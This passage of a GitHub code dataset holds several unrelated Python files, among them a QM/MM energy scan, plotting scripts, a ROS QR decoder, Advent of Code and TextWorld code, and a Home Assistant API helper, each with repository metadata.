40.0, 40.0, 40.0 ] )\nmol.psf_read( open( cwd + \"oxy-cope.psf\" ) )\nmol.guess_atomic_numbers()\n\n_psf = openmm.app.charmmpsffile.CharmmPsfFile( cwd + \"oxy-cope.psf\" )\n_psf.setBox( mol.boxl[0] * openmm.unit.angstrom,\n mol.boxl[1] * openmm.unit.angstrom,\n mol.boxl[2] * openmm.unit.angstrom )\n_prm = openmm.app.charmmparameterset.CharmmParameterSet( cwd + \"oxy-cope.top\", cwd + \"oxy-cope.prm\" )\n_sys = _psf.createSystem( _prm,\n nonbondedMethod = openmm.app.CutoffPeriodic,\n nonbondedCutoff = 16.0 * openmm.unit.angstrom,\n switchDistance = 14.0 * openmm.unit.angstrom,\n rigidWater = False )\n\nsqm = mol.resn == \"COP\"\nsmm = mol.sph_sel( sqm, 14 )\n\nmol.engines[\"mm\"] = qm3.engines.openmm.run( _sys, _psf.topology, sel_QM = sqm, platform = \"OpenCL\" )\nmol.engines[\"qm\"] = qm3.engines.xtb.run( mol, 0, 0, sel_QM = sqm, sel_MM = smm )\n\na1 = mol.indx[\"A\"][1][\"C2\"]\na2 = mol.indx[\"A\"][1][\"C3\"]\na3 = mol.indx[\"A\"][1][\"C5\"]\na4 = mol.indx[\"A\"][1][\"C6\"]\nrx1 = [ 1.4, 3.5 ] \ndx1 = 0.1\nrx2 = [ 1.4, 3.5 ]\ndx2 = 0.1\nnx1 = int( ( rx1[1] - rx1[0] ) / dx1 ) + 1\nnx2 = int( ( rx2[1] - rx2[0] ) / dx2 ) + 1\n\nrandom.seed()\nif( con.node == 0 ):\n print( \"rnge:\", nx1, nx2 )\n print( \"ncpu:\", con.ncpu )\n ci = int( round( ( qm3.utils.distance( mol.coor[a1], mol.coor[a2] ) - rx1[0] ) / dx1, 0 ) )\n ci = min( max( 0, ci ), nx1 - 1 )\n cj = int( round( ( qm3.utils.distance( mol.coor[a3], mol.coor[a4] ) - rx2[0] ) / dx2, 0 ) )\n cj = min( max( 0, cj ), nx2 - 1 )\n mol.engines[\"r1\"] = qm3.engines.mmres.distance( 5000, rx1[0] + dx1 * ci, [ a1, a2 ] )\n mol.engines[\"r2\"] = qm3.engines.mmres.distance( 5000, rx2[0] + dx2 * cj, [ a3, a4 ] )\n qm3.actions.minimize.fire( mol, print_frequency = 100, gradient_tolerance = 0.1, step_number = 2000,\n current_step = lambda obj,stp: sys.stdout.flush() )\n mol.pdb_write( open( \"pes.%02d.%02d.pdb\"%( ci, cj ), \"wt\" ) )\n mol.engines.pop( \"r1\" ); mol.engines.pop( \"r2\" )\n # ----------------- distribute\n flg = []\n par = []\n idx = []\n n = nx1 * nx2\n for i in range( nx1 ):\n for j in range( nx2 ):\n flg.append( False )\n par.append( (i,j) )\n idx.append( i*nx2+j )\n flg[ci*nx2+cj] = True\n mov = [ (-1,0), (+1,0), (0,-1), (0,+1) ]\n for i in range( max( n // 100, 10 ) ):\n random.shuffle( mov )\n random.shuffle( idx )\n lst = []\n for j in range( 1, n ):\n random.shuffle( idx )\n q = True\n i = 0\n while( q and i < n ):\n if( not flg[idx[i]] ):\n random.shuffle( mov )\n k = 0\n while( q and k < 4 ):\n I = par[idx[i]][0] + mov[k][0]\n J = par[idx[i]][1] + mov[k][1]\n w = I * nx2 + J\n if( I >= 0 and I < nx1 and J >= 0 and J < nx2 and flg[w] ):\n q = False\n lst.append( ( par[idx[i]][0], par[idx[i]][1], \"pes.%02d.%02d.pdb\"%( I, J ) ) )\n flg[idx[i]] = True\n k += 1\n i += 1\n tsk = [ [] for i in range( con.ncpu ) ]\n for i in range( n - 1 ):\n tsk[i%con.ncpu].append( lst[i] )\n f = open( \"tasks.pk\", \"wb\" )\n pickle.dump( tsk, f )\n f.close()\n # ----------------------------\n con.barrier()\nelse:\n con.barrier()\n f = open( \"tasks.pk\", \"rb\" )\n tsk = pickle.load( f )\n f.close()\n\n\ntmp = qm3.molecule()\nfor i,j,s in tsk[con.node]:\n while( not os.path.isfile( s ) ):\n time.sleep( 1 )\n time.sleep( 2 )\n tmp.pdb_read( open( s, \"rt\" ) )\n mol.coor = tmp.coor\n mol.engines[\"r1\"] = qm3.engines.mmres.distance( 5000, rx1[0] + dx1 * i, [ a1, a2 ] )\n mol.engines[\"r2\"] = qm3.engines.mmres.distance( 5000, rx2[0] + dx2 * j, [ a3, a4 ] )\n qm3.actions.minimize.fire( mol, print_frequency = 100, gradient_tolerance = 0.1, step_number = 1000,\n current_step = lambda obj,stp: sys.stdout.flush() )\n mol.pdb_write( open( \"pes.%02d.%02d.pdb\"%( i, j ), \"wt\" ) )\n mol.engines.pop( \"r1\" ); mol.engines.pop( \"r2\" )\n\ncon.barrier()\ncon.stop()\n","repo_name":"sergio-marti/ren-qm3","sub_path":"samples/oxy-cope/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"47476316204","text":"import pickle\nimport sys\nimport numpy as np\nfrom defrcn.config import get_cfg, set_global_cfg\nimport torch \nfrom torch import nn\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# ckpt = torch.load('checkpoints/voc/singleHeadAtt_Text/student_novel1/1shot_seed10/model_final.pth', map_location='cpu')\n# params = ckpt['model']\n# print(type(params))\n# total = sum(p.numel() for p in params.values())\n# print(total)\n# for layer_tensor_name, tensor in tensor_list[0]:\n# print('Layer {}: {} elements'.format(layer_tensor_name, torch.numel(tensor)))\ngt_classes = torch.load('gt_classes.t')\npredict_data = torch.load('attentive_score.t')\n\ngt_classes = gt_classes.tolist()\npredict_data = predict_data.tolist()\ncf_matrix = confusion_matrix(gt_classes, predict_data)\n# cf_matrix = cf_matrix/np.sum(cf_matrix)\n# np.fill_diagonal(cf_matrix, -0.1)\n\ncf_matrix = cf_matrix.astype('float') / cf_matrix.sum(axis=1)[:, np.newaxis]\n# print(cf_matrix)\nsns.set(rc = {'figure.figsize':(20, 20)})\nax = sns.heatmap(cf_matrix, annot=True,\n fmt='.2%', cmap='viridis')\nax.set_title('Confusion Matrix with attentive_score\\n\\n')\nax.set_xlabel('\\nPredicted Values')\nax.set_ylabel('Actual Values ')\n## Ticket labels - List must be in alphabetical order\nax.xaxis.set_ticklabels([\"aeroplane\", \"bicycle\", \"boat\", \"bottle\", \"car\",\n \"cat\", \"chair\", \"diningtable\", \"dog\", \"horse\",\n \"person\", \"pottedplant\", \"sheep\", \"train\", \"tvmonitor\",\n \"background\"\n ])\nax.yaxis.set_ticklabels([\"aeroplane\", \"bicycle\", \"boat\", \"bottle\", \"car\",\n \"cat\", \"chair\", \"diningtable\", \"dog\", \"horse\",\n \"person\", \"pottedplant\", \"sheep\", \"train\", \"tvmonitor\",\n \"background\"\n ])\n## Display the visualization of the Confusion Matrix.\nplt.savefig('confusetionMatrixAttentive.png')\n","repo_name":"hoangpnhat/FewShotObjectDetection_imporove_via_text_feature","sub_path":"visualize_confusion_matrix.py","file_name":"visualize_confusion_matrix.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38709124518","text":"#!/usr/bin/env python\n\n\"\"\"\nThis module handle the job of processing the images captured by 2D camera of stocks \nwhich are arrived at the shelf and identify their respective colours.\n\nThe image captured by the 2D camera is cropped into 12 images each containing\nan indiviual package. Then QR code in these images are decode to identify the \ncolour of the packages at each row and coloumn of the shelf\n\"\"\"\n\nimport rospy\nimport cv2\nimport json\n\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\nfrom pyzbar.pyzbar import decode\n\n\nclass ImageProcessing(object):\n \"\"\"\n Class to analyse the packages on the warehouse shelf using\n 2D camera and decode the QR on package to identify the color\n and store it in a package colors dictionary for further uses\n \"\"\"\n #Constructor\n def __init__(self):\n rospy.loginfo(\"Ready for Package Details Processing..........\") \n self._bridge = CvBridge()\n self._callback_counter = 0\n self._package_color_dic = {}\n self._all_packages_analysed = False\n self._image_sub = rospy.Subscriber(\"/eyrc/vb/camera_1/image_raw\", Image , self.callback)\n\n\n def callback(self ,data):\n \"\"\"\n This is a callback function , it is called everytime when the 2D camera \n publish its feed on the ROS topic \"/eyrc/vb/camera_1/image_raw\"\n :param data:feed from the 2D camera\n :return :None\n \"\"\"\n if self._callback_counter == 0:\n try:\n cv_image = self._bridge.imgmsg_to_cv2(data, \"bgr8\")\n # Resize the image to 800 x 800\n resized_image = cv2.resize(cv_image, (800, 800))\n x_start = 90 #starting x pixel\n y_start = 175 #starting y pixel\n width = 200 #window crop width\n height = 100 #window crop height\n\n # Iterate through each row and column of the shelf\n for i in range (0,4):\n for j in range(0,3):\n crop_image = resized_image[y_start:y_start+height , x_start:x_start+width]\n\n #Resizing croped image for better clarity\n final_image = cv2.resize(crop_image, (150, 150))\n package_color = decode_qr(final_image)\n package_name = \"pkgn\" + str(i) + str(j)\n\n #Add the package_name and package_color as key and value pair to the dictionary\n self._package_color_dic[package_name] = package_color\n x_start = x_start + width \n\n x_start = 90 #Reset to starting x pixel\n y_start = y_start + height\n\n #Number of times callback function is called\n self._callback_counter = 1\n\n #All packages analysed \n self._all_packages_analysed = True\n\n #Unsubscribe the Ros topic \"/eyrc/vb/camera_1/image_raw\" \n self._image_sub.unregister()\n\n except CvBridgeError as e:\n rospy.logerr(e)\n\n def wait_for_process_to_complete(self):\n \"\"\"This function wait until all the packages on the self is analysed\"\"\"\n while not self._all_packages_analysed:\n pass\n\n def get_packages_details(self):\n \"\"\"Return the dictionary of package_name and package_color pair\"\"\"\n return self._package_color_dic\n\n\ndef decode_qr(arg_image):\n \"\"\"\n This function decode the QR present on the package\n and return the respective color of the package\n :param arg_image: the package image with QR code\n :return: decoded data\n \"\"\"\n qr_result = decode(arg_image)\n\n if (len( qr_result ) > 0):\n decoded_data = qr_result[0].data\n else:\n decoded_data = \"NA\"\n\n #Return the Decode data from QR \n return decoded_data\n\ndef detect_packages():\n \"\"\"\n This function analyse all the packages on the shelf and publish their details on a \n ROS Topic\n :return: Dictionary of package_name and package_color pair\n \"\"\"\n #Initialsie the image processing class\n img_process = ImageProcessing()\n\n #Wait till all packages are analaysed\n img_process.wait_for_process_to_complete()\n\n #Package dicitonary\n package_dic = img_process.get_packages_details()\n\n return package_dic\n","repo_name":"rajkumar2804/vb_0574","sub_path":"eyantra_task/scripts/decoder/qr.py","file_name":"qr.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73026918773","text":"import sys; sys.path.insert(0, '../')\nimport geoplot as gplt\nimport geoplot.crs as gcrs\nimport geopandas as gpd\nimport numpy as np\nimport shapely\nimport matplotlib.pyplot as plt\n\n# This example plots United States cities by their elevation. Several different possible scaling functions for\n# determining point size are demonstrated.\n\n\n# Shape the data.\ncities = gpd.read_file(\"../../data/cities/citiesx010g.shp\")\ncities = cities[cities['STATE'].map(lambda s: s not in ['PR', 'AK', 'HI', 'VI'])]\nusa = gpd.read_file(\"../../data/united_states/usa.geojson\")\ncontinental_usa = usa[~usa['adm1_code'].isin(['USA-3517', 'USA-3563'])]\ncontinental_usa = shapely.ops.cascaded_union(continental_usa.geometry)\n\n\n# Plot the data.\n\nf, axarr = plt.subplots(2, 2, figsize=(12, 8), subplot_kw={\n 'projection': gcrs.AlbersEqualArea(central_longitude=-98, central_latitude=39.5)\n})\n\npolyplot_kwargs = {\n 'projection': gcrs.AlbersEqualArea(), 'facecolor': (0.9, 0.9, 0.9),\n 'zorder': -100, 'linewidth': 0\n}\npointplot_kwargs = {\n 'projection': gcrs.AlbersEqualArea(), 'scale': 'ELEV_IN_FT',\n 'edgecolor': 'white', 'linewidth': 0.5, 'color': 'black'\n}\nylim = (-1647757.3894385984, 1457718.4893930717)\n\n\n# Our first plot is a default linear-scale one. We can see from the results that this is clearly the most appropriate\n# one for this specific data.\ngplt.polyplot(gpd.GeoSeries(continental_usa), ax=axarr[0][0], **polyplot_kwargs)\ngplt.pointplot(cities.query(\"POP_2010 > 10000\"), ax=axarr[0][0], limits=(0.1, 10), **pointplot_kwargs)\naxarr[0][0].set_title(\"Linear Scale\")\naxarr[0][0].set_ylim(ylim)\n\n\n# Next, a trivial identity scale. This results in a plot where every city has the same size.\ndef identity_scale(minval, maxval):\n def scalar(val):\n return 2\n return scalar\n\ngplt.polyplot(gpd.GeoSeries(continental_usa), ax=axarr[0][1], **polyplot_kwargs)\ngplt.pointplot(cities.query(\"POP_2010 > 10000\"), ax=axarr[0][1], scale_func=identity_scale, **pointplot_kwargs)\naxarr[0][1].set_title(\"Identity Scale\")\naxarr[0][1].set_ylim(ylim)\n\n\n# A more interesting scale is the logarithmic scale. This scale works very well when the data in question is\n# \"log-linear\", that is, it is distributed linearly with respect to its own logarithm. In our demonstratory case the\n# data is linear and not logorithmic in shape, so this doesn't come out too well, but in other cases using the logorithm\n# is the way to go.\ndef log_scale(minval, maxval):\n # The minimum value in this dataset is -112, so we need to adjust inputs.\n def scalar(val):\n val = val + abs(minval) + 1\n return np.log10(val)\n return scalar\n\ngplt.polyplot(gpd.GeoSeries(continental_usa), ax=axarr[1][0], **polyplot_kwargs)\ngplt.pointplot(cities.query(\"POP_2010 > 10000\"), ax=axarr[1][0], scale_func=log_scale, **pointplot_kwargs)\naxarr[1][0].set_title(\"Log Scale\")\naxarr[1][0].set_ylim(ylim)\n\n\n# Finally, our last demo, a power scale. This is useful for data that follows a power law distribution of some\n# kind. Again, this doesn't work too well in our case, but this example is just meant for demonstration!\ndef power_scale(minval, maxval):\n # The minimum value in this dataset is -112, so we need to adjust inputs.\n def scalar(val):\n val = val + abs(minval) + 1\n return (val/1000)**2\n return scalar\n\ngplt.polyplot(gpd.GeoSeries(continental_usa), ax=axarr[1][1], **polyplot_kwargs)\ngplt.pointplot(cities.query(\"POP_2010 > 10000\"), ax=axarr[1][1], scale_func=power_scale, **pointplot_kwargs)\naxarr[1][1].set_title(\"Power Scale\")\naxarr[1][1].set_ylim(ylim)\n\n\nplt.suptitle('Continental US Cities by Elevation, 2016', fontsize=16)\nplt.subplots_adjust(top=0.95)\nplt.savefig(\"usa-city-elevations.png\", bbox_inches='tight')","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/ResidentMario_geoplot/geoplot-master/docs/examples/usa-city-elevations.py","file_name":"usa-city-elevations.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"38503839941","text":"from processInputs import get_formatted_input\nfrom intcode import IntcodeComputer\n\nWIDTH = 41\nHEIGHT = 59\n\n\ndef part1(data):\n def inf():\n return 0\n\n scanner = IntcodeComputer(data, inf)\n scanner.run_program()\n scaffold = [[]]\n for output in scanner.outputs:\n if output != 10:\n scaffold[-1].append(output)\n else:\n scaffold.append([])\n scaffold = scaffold[:-2]\n total = 0\n for y in range(len(scaffold) - 1):\n for x in range(len(scaffold[0]) - 1):\n if x == 0 or y == 0:\n continue\n if scaffold[y][x] in (35, 94):\n intersection = True\n for pair in ((1, 0), (0, 1), (-1, 0), (0, -1)):\n if scaffold[y + pair[1]][x + pair[0]] == 46:\n intersection = False\n if intersection:\n total += x * y\n return total\n\n\n# did this by hand lmao\nCOMMANDS = \"65 44 66 44 65 44 66 44 67 44 66 44 67 44 65 44 67 44 67 10 82 44 49 50 44 76 44\" \\\n \" 49 48 44 76 44 49 48 10 76 44 54 44 76 44 49 50 44 82 44 49 50 44 76 44 52 10 76\" \\\n \" 44 49 50 44 82 44 49 50 44 76 44 54 10 110 10\".split(\" \")\n\n\ndef part2(data):\n data[0] = 2\n pointer = 0\n\n def inf():\n nonlocal pointer\n pointer += 1\n return COMMANDS[pointer - 1]\n\n robot = IntcodeComputer(data, inf)\n robot.run_program()\n return robot.outputs[-1]\n\n\nINPUT = get_formatted_input(17)\nprint(part1(INPUT), part2(INPUT))\n","repo_name":"ComputahSaysNo/AOC_2019","sub_path":"17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26158079480","text":"import textworld\nfrom textworld import g_rng\nfrom textworld.utils import make_temp_directory\n\n\ndef test_making_game_with_names_to_exclude():\n g_rng.set_seed(42)\n\n with make_temp_directory(prefix=\"test_render_wrapper\") as tmpdir:\n options = textworld.GameOptions()\n options.path = tmpdir\n options.nb_rooms = 2\n options.nb_objects = 20\n options.chaining.max_depth = 3\n options.chaining.max_breadth = 2\n options.seeds = 123\n game_file1, game1 = textworld.make(options)\n\n options2 = options.copy()\n game1_objects_names = [info.name for info in game1.infos.values() if info.name is not None]\n options2.grammar.names_to_exclude = game1_objects_names\n game_file2, game2 = textworld.make(options2)\n game2_objects_names = [info.name for info in game2.infos.values() if info.name is not None]\n assert len(set(game1_objects_names) & set(game2_objects_names)) == 0\n\n\ndef test_making_game_is_reproducible_with_seed():\n with make_temp_directory(prefix=\"test_render_wrapper\") as tmpdir:\n options = textworld.GameOptions()\n options.path = tmpdir\n options.nb_rooms = 2\n options.nb_objects = 20\n options.chaining.max_depth = 3\n options.chaining.max_breadth = 2\n options.seeds = 123\n\n game_file1, game1 = textworld.make(options)\n options2 = options.copy()\n game_file2, game2 = textworld.make(options2)\n assert game_file1 == game_file2\n assert game1 == game2\n # Make sure they are not the same Python objects.\n assert id(game1) != id(game2)\n","repo_name":"microsoft/TextWorld","sub_path":"tests/test_make_game.py","file_name":"test_make_game.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":1102,"dataset":"github-code","pt":"21"} +{"seq_id":"23918818657","text":"#!/usr/bin/python\n\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom __future__ import division\n\nfrom datetime import datetime\nimport json\nimport codecs\n\nfrom data_source.twitter import TwitterObservable\nfrom data_source.observer import Observer\n\n\ndef totimestamp(dt, epoch=datetime(1970,1,1)):\n td = dt - epoch\n # return td.total_seconds()\n return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6\n\n\ndef current_timestamp():\n now = datetime.utcnow()\n return totimestamp(now)\n\n\nclass NewArticleObserver(Observer):\n def update(self, update):\n update = update.replace('\\n', ' ').replace('\\r', ' ')\n\n time = current_timestamp()\n\n json_obj = json.dumps({'time': time, 'text': update})\n\n with codecs.open('/media/Data/twitter.txt', 'a', encoding='utf8') as myfile:\n myfile.write(json_obj)\n myfile.write(u\"\\n\")\n\n\nif __name__ == \"__main__\":\n try:\n observable = TwitterObservable()\n\n article_observer = NewArticleObserver()\n observable.register(article_observer)\n\n observable.start_stream()\n except KeyboardInterrupt:\n pass\n","repo_name":"victorkifer/SocialMediaTopTrends","sub_path":"miner_twitter.py","file_name":"miner_twitter.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34017296547","text":"def calcula_tempo(andar, andares):\n total_minutos = 0\n for i in range(len(andares)):\n if i != andar:\n for _ in range(abs(andar-i)):\n total_minutos += andares[i]*2\n return total_minutos\n\ndef calcula_menor_tempo(tempos):\n tempo = tempos[0]\n for i in range(len(tempos)):\n if tempos[i] < tempo:\n tempo = tempos[i]\n return tempo\n\nandar_a = int(input())\nandar_b = int(input())\nandar_c = int(input())\n\nandares = [andar_a, andar_b, andar_c]\ntempos = []\nmenor_tempo = 0\n\nfor i in range(len(andares)):\n tempos += [calcula_tempo(i, andares)]\n\nmenor_tempo = calcula_menor_tempo(tempos)\nprint(menor_tempo)\n","repo_name":"NycolasFelipe/uff-ciencia-computacao","sub_path":"beecrowd/2670_maquina_de_cafe.py","file_name":"2670_maquina_de_cafe.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7670328351","text":"from datetime import datetime, timedelta\r\nimport re\r\nfrom typing import List, Optional\r\nimport os\r\nfrom dotenv import load_dotenv\r\nimport requests\r\nimport json\r\nimport pprint\r\n\r\nBASE_URL = \"http://192.168.1.101:8123\"\r\n\r\ndef get_headers():\r\n \"\"\"\r\n Retrieves headers for the API request.\r\n\r\n :return: A dictionary containing API request headers.\r\n \"\"\"\r\n return {\r\n \"Authorization\": f\"Bearer {os.getenv('BEARER_TOKEN')}\",\r\n \"Content-Type\": \"application/json\",\r\n }\r\n\r\ndef make_request(method: str, endpoint: str, data: dict = None) -> dict:\r\n \"\"\"\r\n Makes a request to the specified endpoint with the provided method and data.\r\n\r\n :param method: The HTTP method. Allowed methods are 'GET' and 'POST'.\r\n :param endpoint: The API endpoint.\r\n :param data: The data to be sent with the request. Default is None.\r\n :return: The response from the server as a dictionary.\r\n \"\"\"\r\n # Print the parameters\r\n # print(f\"\\n#make_request#\")\r\n # print(f\"Method: {method}\")\r\n # print(f\"Endpoint: {endpoint}\")\r\n # print(f\"Data: {data}\")\r\n headers = get_headers()\r\n\r\n url = f\"{BASE_URL}{endpoint}\"\r\n \r\n if method == \"GET\":\r\n response = requests.get(url, headers=headers, params=data)\r\n elif method == \"POST\":\r\n response = requests.post(url, headers=headers, json=data)\r\n else:\r\n raise NotImplementedError(\"Only GET and POST methods are implemented.\")\r\n \r\n # Check status code and handle exceptions\r\n if response.status_code != 200:\r\n raise requests.exceptions.HTTPError(f\"Received status code {response.status_code}\")\r\n # print(\"make_request response:\")\r\n # pprint.pprint(response.json())\r\n # print(\"response end\\n\")\r\n return response.json()\r\n \r\ndef get_filtered_services(domains: Optional[List[str]] = None) -> str:\r\n \"\"\"\r\n Gets services from the \"/api/services\" endpoint using the make_request function,\r\n filters them based on a list of domains,\r\n and returns a string of the filtered services, each on a new line.\r\n\r\n :param domains: A list of domains to filter the services. Default is None, which returns all services.\r\n :return: A string of the filtered services, each on a new line.\r\n \"\"\"\r\n # Get all services from the \"/api/services\" endpoint\r\n services = make_request(\"GET\", \"/api/services\")\r\n \r\n if domains:\r\n filtered_services = [f\"[Domain: {service['domain']}][Services: {', '.join(service['services'].keys())}]\" for service in services for domain in domains if service['domain'] == domain]\r\n else:\r\n filtered_services = [f\"[Domain: {service['domain']}][Services: {', '.join(service['services'].keys())}]\" for service in services]\r\n\r\n return '\\n'.join(filtered_services)\r\n\r\ndef get_filtered_entity_states_service(patterns: Optional[List[str]] = None) -> str:\r\n \"\"\"\r\n Gets entities and their states from the \"/api/config\" endpoint using the make_request function,\r\n filters them based on a list of regex patterns,\r\n and returns a string of the filtered entities and a unique list of the domains.\r\n This is handy to find the name and state of an entity to allow you to use it in a POST request later.\r\n\r\n :param patterns: A list of regex patterns to filter the entities. Default is None, which returns all entities.\r\n :return: A string of the filtered entities and a unique list of the domains.\r\n \"\"\"\r\n # Get all entities from the \"/api/states\" endpoint\r\n states = make_request(\"GET\", \"/api/states\")\r\n\r\n # print(f\"\\n#get_filtered_entity_states_service#\\nsearch patterns: \\n{patterns}\")\r\n\r\n ls = [\"entity_id, name, state\"]\r\n domains = set()\r\n if patterns is not None:\r\n print(f\"patterns: {patterns}\")\r\n # Split multi-word patterns into individual words\r\n individual_patterns = []\r\n for pattern in patterns:\r\n individual_patterns.extend(pattern.split())\r\n patterns = individual_patterns\r\n \r\n print(f\"patterns: {patterns}\")\r\n\r\n for e in states:\r\n entity_id = e['entity_id'].lower()\r\n domain = entity_id.split('.')[0]\r\n friendly_name = e['attributes'].get('friendly_name', '').lower()\r\n state = e['state']\r\n\r\n if patterns is not None:\r\n\r\n # Check if any of the patterns matches the entity_id or friendly_name\r\n if any(re.search(pattern, entity_id) or re.search(pattern, friendly_name) for pattern in patterns):\r\n ls.append(f\"{entity_id},{friendly_name},{state}\")\r\n domains.add(domain)\r\n else:\r\n ls.append(f\"{entity_id},{friendly_name},{state}\")\r\n domains.add(domain)\r\n\r\n if len(ls) == 1:\r\n entities = \"No entities matched the provided patterns.\"\r\n else:\r\n entities = '\\n'.join(ls)\r\n\r\n services = get_filtered_services(domains)\r\n result = f\"%%%Returned entities:%%%\\n{entities}\\n%%%Returned and %%%\\n{services}\"\r\n # print(result)\r\n return result\r\n\r\ndef get_entity_history(entity_ids: List[str], start_time: datetime, end_time: datetime) -> dict:\r\n \"\"\"\r\n Get the history of one or more entities.\r\n\r\n :param entity_ids: A list of entity ids.\r\n :param start_time: The start time for the period.\r\n :param end_time: The end time for the period.\r\n :return: The response from the server as a dictionary.\r\n \"\"\"\r\n # Convert entity_ids from list to comma-separated string\r\n entity_ids_str = ','.join(entity_ids)\r\n \r\n # Convert start_time and end_time from datetime objects to strings\r\n start_time_str = start_time#.isoformat()\r\n end_time_str = end_time#.isoformat()\r\n\r\n # Create data dictionary for API request\r\n data = {\r\n \"filter_entity_id\": entity_ids_str,\r\n \"minimal_response\": \"\",\r\n \"no_attributes\": \"\",\r\n \"end_time\": end_time_str\r\n }\r\n\r\n # Define API endpoint\r\n endpoint = f\"/api/history/period/{start_time_str}\"\r\n\r\n # Make API request\r\n response=make_request(\"GET\", endpoint, data)\r\n \r\n simplified_response = []\r\n for sensor_data in response:\r\n sensor_dict = {\"entity_id\": sensor_data[0]['entity_id']}\r\n data_points = []\r\n for data_point in sensor_data:\r\n last_changed = data_point['last_changed']\r\n state = data_point['state']\r\n \r\n # Reduce the precision of the timestamp\r\n simplified_time = last_changed.split('.')[0]\r\n \r\n data_points.append({simplified_time: state})\r\n sensor_dict[\"data_points\"] = data_points\r\n simplified_response.append(sensor_dict)\r\n # print(f\"\\n#get_entity_history#\\n\")\r\n # pprint.pprint(simplified_response)\r\n return simplified_response\r\n\r\n \r\n# This block is executed only when the module is run directly\r\nif __name__ == \"__main__\":\r\n # Load environment variables from .env file\r\n load_dotenv()\r\n\r\n # Fetch status from the server\r\n response = make_request(\"GET\", \"/api/\")\r\n pprint.pprint(response)\r\n \r\n # Fetch config from the server\r\n # response = make_request(\"GET\", \"/api/config\")\r\n # pprint.pprint(response)\r\n \r\n # Fetch history from the server\r\n # response = make_request(\"GET\", \"/api/history/period/\")\r\n # pprint.pprint(response)\r\n\r\n # timestamp = \"2023-07-10T13:05:00+01:00\"\r\n # call the function\r\n\r\n # Fetch history from the server\r\n # response = make_request(\"GET\", \"/api/history/period/2022-07-01T00:00:00+00:00\")\r\n # pprint.pprint(response)\r\n \r\n # endpoint = \"/api/history/period/2023-07-01T00:00:00+00:00\"\r\n # method = \"GET\"\r\n # response = make_request(method, endpoint)\r\n\r\n \r\n # Fetch states from the server\r\n # response = make_request(\"GET\", \"/api/states\")\r\n response = make_request(\"GET\", \"/api/states/light.living_room_switch_2\")\r\n pprint.pprint(response)\r\n \r\n # # Define the keywords\r\n # regex_filter = ['living[_]?room']\r\n # # Filter the response\r\n # filtered_response = filter_response(response, regex_filter)\r\n # print(f\"\\nfiltered entity list\\n{filtered_response}\")\r\n \r\n \r\n # filtered_response = filter_response(response)\r\n # print(f\"\\nfull entity list\\n{filtered_response}\")\r\n \r\n # filtered_entities_domains_states = get_filtered_entity_states_service(['living[_]?room'])\r\n # print(filtered_entities_domains_states)\r\n \r\n # # Turn on the living room lamp\r\n # data_light_on = {\"state\": \"on\"}\r\n # response = make_request(\"POST\", \"/api/states/light.living_room_switch_2\", data_light_on)\r\n # pprint.pprint(response)\r\n\r\n # # Turn off the living room lamp\r\n # data_light_off = {\"state\": \"off\"}\r\n # response = make_request(\"POST\", \"/api/states/light.living_room_switch_2\", data_light_off)\r\n # pprint.pprint(response)\r\n \r\n # Get all services for 'light' and 'switch' domains\r\n #services = get_filtered_services(['light', 'switch'])\r\n # services = get_filtered_services(['automation'])\r\n # print(services)\r\n # print(\"S#################################\") \r\n # services = get_filtered_services()\r\n # print(services)\r\n response = get_entity_history([\"sensor.temp_sensor_1_temperature_1\"],\"2023-07-16T00:00:00+0100\", \"2023-07-16T23:59:59+0100\")\r\n pprint.pprint(response)\r\n\r\n","repo_name":"liamgwallace/OpenAI-FunctionCalling-HomeAssistantTools","sub_path":"app/ha_api_funcs.py","file_name":"ha_api_funcs.py","file_ext":"py","file_size_in_byte":9241,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"27710618537","text":"import pyarrow as pa\nimport pyfletcher as pf\nimport numpy as np\nimport timeit\nimport sys\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"schema_path\")\n parser.add_argument(\"input_path\")\n parser.add_argument(\"output_path\")\n args = parser.parse_args()\n\n schema = pa.read_schema(args.schema_path)\n # Set up a RecordBatch reader and read the RecordBatch.\n reader = pa.RecordBatchFileReader(args.input_path)\n input_batch = reader.get_batch(0)\n\n output_batch = pa.RecordBatch.from_arrays([pa.array([0] * input_batch.num_rows, pa.uint32())],schema)\n\n print(\"Got the batches.\")\n\n platform = pf.Platform(\"snap\", False) # Create an interface to an auto-detected FPGA Platform.\n platform.init() # Initialize the Platform.\n\n print(\"Initialized platform.\")\n context = pf.Context(platform) # Create a Context for our data on the Platform.\n print(\"Created context.\")\n context.queue_record_batch(input_batch) # Queue the RecordBatch to the Context.\n print(\"Queued record output batch.\")\n context.queue_record_batch(output_batch) # Queue the RecordBatch to the Context.\n print(\"Queued record output batch.\")\n context.enable() # Enable the Context, (potentially transferring the data to FPGA).\n \n print(\"Enabled context.\") \n\n kernel = pf.Kernel(context) # Set up an interface to the Kernel, supplying the Context.\n kernel.reset()\n print(\"Reset kernel.\") \n kernel.start() # Start the kernel.\n print(\"Started kernel.\") \n kernel.wait_for_finish() # Wait for the kernel to finish.\n\n print(\"Finished 